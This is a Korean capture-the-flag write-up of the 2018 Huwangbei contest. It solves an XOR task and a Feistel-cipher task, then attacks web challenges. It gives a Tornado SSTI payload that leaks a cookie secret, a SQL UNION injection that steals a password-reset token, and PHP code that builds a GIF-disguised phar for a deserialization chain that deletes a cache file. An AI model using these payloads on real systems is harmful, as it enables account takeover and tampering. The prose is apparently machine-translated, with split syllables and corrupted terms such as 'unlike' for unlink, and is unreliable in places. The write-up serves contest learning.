2018 호 망 컵
36178 단어 wp
신선 이 싸 우 는 것 을 다시 한 번 보 았 다.
Misc
늦 은 출석 문제
제목 힌트 easy xor, 첨부 파일 을 여 는 것 은 base 64 입 니 다:
AAoHAR1QUiBTJVBQI1RVIl5WJVInUlNWIFZUX1ZRJ1dWU1dfURs=
디 코딩 은 난 장 판이 야.생각 이 CSAW 비밀번호 첫 번 째 문제 와 똑 같 을 것 이 라 고 추측 하고 스 크 립 트 를 작성 합 니 다.
import base64
ciphertext="AAoHAR1QUiBTJVBQI1RVIl5WJVInUlNWIFZUX1ZRJ1dWU1dfURs="
cipher=base64.b64decode(ciphertext)
for i in range(0,256):
result=""
for s in cipher:
result+=chr(ord(s)^i)
if "flag" in result:
print result
flag{64F5C66E23D80C4A450F02907A105197}
Crypto
fez
제목 원본:
import os
def xor(a,b):
assert len(a)==len(b)
c=""
for i in range(len(a)):
c+=chr(ord(a[i])^ord(b[i]))
return c
def f(x,k):
return xor(xor(x,k),7)
def round(M,K):
L=M[0:27]
R=M[27:54]
new_l=R
new_r=xor(xor(R,L),K)
return new_l+new_r
def fez(m,K):
for i in K:
m=round(m,i)
return m
K=[]
for i in range(7):
K.append(os.urandom(27))
m=open("flag","rb").read()
assert len(m)<54
m+=os.urandom(54-len(m))
test=os.urandom(54)
print test.encode("hex")
print fez(test,K).encode("hex")
print fez(m,K).encode("hex")
세 그룹의 print 결 과 를 제 시 했 습 니 다. 암호 화 과정 을 분석 하 는 것 은 feitel 암호 구조 이 고 7 라운드 가 교체 되 었 습 니 다. 모두 다른 것 또는 명문 L + R (명문 을 두 부분 으로 나 누 는 것) 입 니 다. 마지막 으로 암호 화 된 결 과 는 다음 과 같 습 니 다.
L_enc: R xor K1 R_enc: L xor R xor K2
문 제 는 test 와 test 암호 화 결 과 를 제시 하여 K1 과 K2 를 계산 한 다음 에 flag 비밀문 왼쪽 부분 을 이용 하여 flag 명문 의 오른쪽 부분 을 계산 하여 flag 를 얻 을 수 있 습 니 다.
스 크 립 트 는 다음 과 같 습 니 다:
def xor(a,b):
assert len(a)==len(b)
c=""
for i in range(len(a)):
c+=chr(ord(a[i])^ord(b[i]))
return c
test="2315d80c2dd73098953686be6c82aa63c1d362eb0095e4621cce28bec4c921ce016afc7f39fd93b14b6c28ce69c7096b91fd2db0862d"
test_enc="308e590a180473ab4d23a0c67b65fe2bf2d0a9f1b255e4e2610b0c90e8e210c8ed4f2b9a3b09c1886a781f94fee4f77488c0b30f2395"
flag_enc="e822e918e578a7af4f0859a99aab5d7563644beb4207a73d5fc4560d3deb696320cec479431a4f724310499baf5230db7e56764915d0"
test=test.decode("hex")
test_enc=test_enc.decode("hex")
flag_enc=flag_enc.decode("hex")
k1=xor(test[27:54],test_enc[0:27])
k2=xor(xor(test[27:54],test[0:27]),test_enc[27:54])
flag_r=xor(k1,flag_enc[0:27])
flag_l=xor(flag_r,xor(k2,flag_enc[27:54]))
print flag_l+flag_r
flag{festel_weak_666_11xd77fhy33}
Web
easy tornado
제목 열기 에는 세 가지 옵션 이 있 습 니 다.
Orz. txt 들 어가 기 힌트 는 render () hint. txt 들 어가 기 힌트 는 md5 (cookie secret + md5 (filename) flag. txt 들 어가 기 힌트 는 / flllllllllllllllag 입 니 다.
url : http://117.78.26.200:31031/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f
그럼 읽 기 / flllllllag 인 것 같은 데 여기 쿠키시 크 릿 몰라.하나의 힌트 는 render () 이기 때문에 SSTI 가 존재 해 야 합 니 다. * / error? msg = {{1} * * 를 사용 해 보 세 요.하지만 상당히 많은 문 자 를 걸 러 쿠키 를 직접 읽 을 수 없습니다.시 크 릿 이라는 변수.
자 세 를 돌려 보 았 지만 결과 가 없 었 다.tornado 프레임 워 크 를 이용 하여 다른 방식 으로 쿠키 를 읽 는 것 같 습 니 다secret。
이 글 에서 쿠키 발견secret 는 handler 의 settings 에 저장 되 어 있 기 때문에 구조 payload:http://117.78.26.200:31031/error?msg={{handler. settings}, 쿠키 받 기secret:
‘cookie_secret’: g!E#Ax&_ywJ[d1BRWe5U?qa^@u4pIhX)G.lYDQ
cookie secret 가 있 습 니 다. filename 은 / flllllllllllag 로 설정 되 어 있 습 니 다. 그 내장 md5 를 이용 하여 서명 을 생 성하 여 접근 합 니 다. payload:
http://117.78.26.200:31031/file?filename=/fllllllllllag&signature=a0e8913e76b38d61f13cb22ba8d59cf5
flag 획득:
flag{975596d6031dd373b313acc910a6891f}
ltshop
끝나 고 스승 님 들 께 서 조건 경쟁 과 my sql 의 정수 가 넘 쳐 서 docker 가 재현 되 기 를 기다 리 고 있다 고...
easy_laravel
스승 님 들 의 wp 를 따라 한 차례 재현 되 었 습 니 다. emmmm 는 어 쩔 수 없 이 이 문제 의 이름 을 easy laravel 로 지어 서 출제 자 에 게 칼날 을 보 낼 수 있 습 니 다. 지금 은 웹 문제 하나 가 틀 에 박 혀 있어 서 움 직 일 수 없습니다.
github 의 docker 주소:https://github.com/sco4x0/huwangbei2018_easy_laravel
웹 페이지 소스 코드 가 소스 주 소 를 주 었 습 니 다:https://github.com/qqqqqqvq/easy_laravel.
등록 해 보 니 노트 가 하나 밖 에 없 었 습 니 다. 비어 있 었 습 니 다.
원본 코드 보기:
관리자 의 이름과 메 일 을 찾 았 지만 비밀 번 호 는 무 작위 40 자리 로 풀 리 지 않 았 습 니 다.
경 로 를 살 펴 보 니 note 기능 만 비 관리자 가 접근 할 수 있 습 니 다.
그럼 우선 관리인 신분 으로 등록 해 야 합 니 다.
note 컨트롤 러 NoteController 를 보 니 주입 이 존재 합 니 다.
그래서 구조 admin 'or 1 \ # 등록, 등록:
비밀번호 다시 보기:
원래 비밀번호 가 뭔 지 알 수가 없어 서...
우 리 는 비밀 번 호 를 리 셋 하 는 코드 를 보 았 다.
laravel 프레임 워 크 초기 화 비밀번호 에 대해 서 는 문 서 를 볼 수 있 습 니 다.https://laravel-china.org/docs/laravel/5.6/passwords/1384
대체 적 인 절 차 는 비밀 번 호 를 리 셋 하고 관리자 메 일 을 입력 하면 관리자 계 정의 token 이 생 성 됩 니 다. email 과 해당 하 는 token 을 입력 하면 방문 / password / reset / token 에서 비밀 번 호 를 리 셋 할 수 있 습 니 다. token 은 어떻게 알 수 있 습 니까?
우 리 는 이메일 과 token 이 모두 데이터베이스 에 저장 되 어 있 는 것 을 보 았 고, 우 리 는 주입 점 이 있어 서 데이터베이스 의 모든 정 보 를 얻 을 수 있다.
우선 비밀 번 호 를 리 셋 하려 면 관리자 메 일 을 입력 하 십시오. 데이터베이스 에 가서 token 을 가 져 옵 니 다.
payload:
admin'union select 1,(select token from password_resets where email='[email protected]'),3,4,5#
방문 하기:
http://192.168.146.145:2333/password/reset/8eea41c7ef5cdf968941d07b321722a70c8bc89086d0149979e7ec91d5c07870
비밀번호 초기 화:
관리자 로그 인 성공:
flag 부분 에 no flag 를 표시 합 니 다. flag 부분의 컨트롤 러 를 살 펴 보 니 flag 가 분명히 표시 되 어 있 습 니 다.
이 곳 의 시험 점 은 Blade 템 플 릿 캐 시 입 니 다. 오래된 캐 시 는 삭제 되 지 않 았 습 니 다. flag 를 볼 수 없습니다. 이 편 을 참고 하 십시오.
그래서 우리 가 해 야 할 일 은 캐 시 파일 을 삭제 하고 flag 를 읽 으 려 면 먼저 캐 시 파일 을 찾 아야 합 니 다.
캐 시 파일 의 이름 은 laravel 에서 자동 으로 생 성 됩 니 다. 생 성 방법 은 다음 과 같 습 니 다.
public function getCompiledPath($path)
{
return $this->cachePath.'/'.sha1($path).'.php';
}
이 $path 는 템 플 릿 의 위치 입 니 다. * * / usr / share / nginx / html / resources / views / auth / flag. blade. php * * *
nginx 의 기본 사이트 루트 디 렉 터 리 는 / usr / share / nginx / html 입 니 다. 이 블 로그 에서 캐 시 파일 이 / storage / framework / views 에 있 는 것 을 알 게 되 었 습 니 다. sha 1 알고리즘 을 더 해서 마지막 경 로 는:
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
경로 가 있 는데 어떻게 삭제 합 니까?
coposer 의 다양한 의존 도 를 이용 하여 이 설치 구성 요 소 를 참고 하 십시오. (붙 인 docker 주소 의 coposer. par 를 이용 할 수도 있 고 환경 변 수 를 coposer install 로 설치 할 수도 있 습 니 다)
composer 를 보고 unlike 를 검색 해 보 세 요. Swift ByteStream Temporary FileByteStream 의 분석 함수 에 unlike 가 있 는 것 을 발 견 했 습 니 다. 그것 은 반 직렬 화 구멍 을 통 해 분석 함 수 를 실행 하여 캐 시 를 삭제 하 는 것 입 니 다. 어디서 반 직렬 화 를 촉발 합 니까?
check 에서 file exists 를 발 견 했 습 니 다:
public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error(' , ');
}else{
Flash::success(' ');
}
}
return redirect(route('files'));
}
phar: / / 반 서열 방법 을 사 용 했 습 니 다. 이 글 을 참고 하 십시오.
이렇게 해서 우 리 는 phoar 가방 을 구성 하고 다음은 구조의 phop 코드 입 니 다.
* * 주의: * * php. ini 의 phoar. readonly 옵션 을 off 로 설정 해 야 합 니 다. 그렇지 않 으 면 phoar 파일 을 만 들 수 없습니다.
class Swift_ByteStream_AbstractFilterableInputStream {
/**
* Write sequence.
*/
protected $sequence = 0;
/**
* StreamFilters.
*
* @var Swift_StreamFilter[]
*/
private $filters = [];
/**
* A buffer for writing.
*/
private $writeBuffer = '';
/**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
/** The internal pointer offset */
private $_offset = 0;
/** The path to the file */
private $_path;
/** The mode this file is opened in for writing */
private $_mode;
/** A lazy-loaded resource handle for reading the file */
private $_reader;
/** A lazy-loaded resource handle for writing the file */
private $_writer;
/** If magic_quotes_runtime is on, this will be true */
private $_quotes = false;
/** If stream is seekable true/false, or null if not known */
private $_seekable = null;
/**
* Create a new FileByteStream for $path.
*
* @param string $path
* @param bool $writable if true
*/
public function __construct($path, $writable = false)
{
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';
if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}
/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
public function __construct() {
$filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
parent::__construct($filePath, true);
}
public function __destruct() {
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>
디 렉 터 리 아래 1. gif 파일 을 생 성하 여 업로드 합 니 다. 파일 목록 에 이 파일 이 있 습 니 다.
그리고 check 해 보 세 요. 가방 을 잡 고 path 인 자 를 추가 하 세 요. 위 에 제 시 된 check 부분의 코드 를 자세히 보 세 요.
path=path=phar:///usr/share/nginx/html/storage/app/public
역 직렬 화 를 실행 하고 캐 시 파일 을 삭제 하 며 flag 에 접근 하면 flag 를 볼 수 있 습 니 다.
참고:
총결산
웹 손 이 폐기 되 었 습 니 다.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
추가 javascripts wordpress를 제거하는 방법?웹사이트 속도를 높이기 위해 워드프레스 웹사이트나 블로그에서 일부 자바스크립트를 제거해야 하는 경우가 있습니다. 다음은 워드프레스 웹사이트에서 사용하지 않는 js를 제거하는 데 사용할 수 있는 요령입니다. 먼저 제거...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.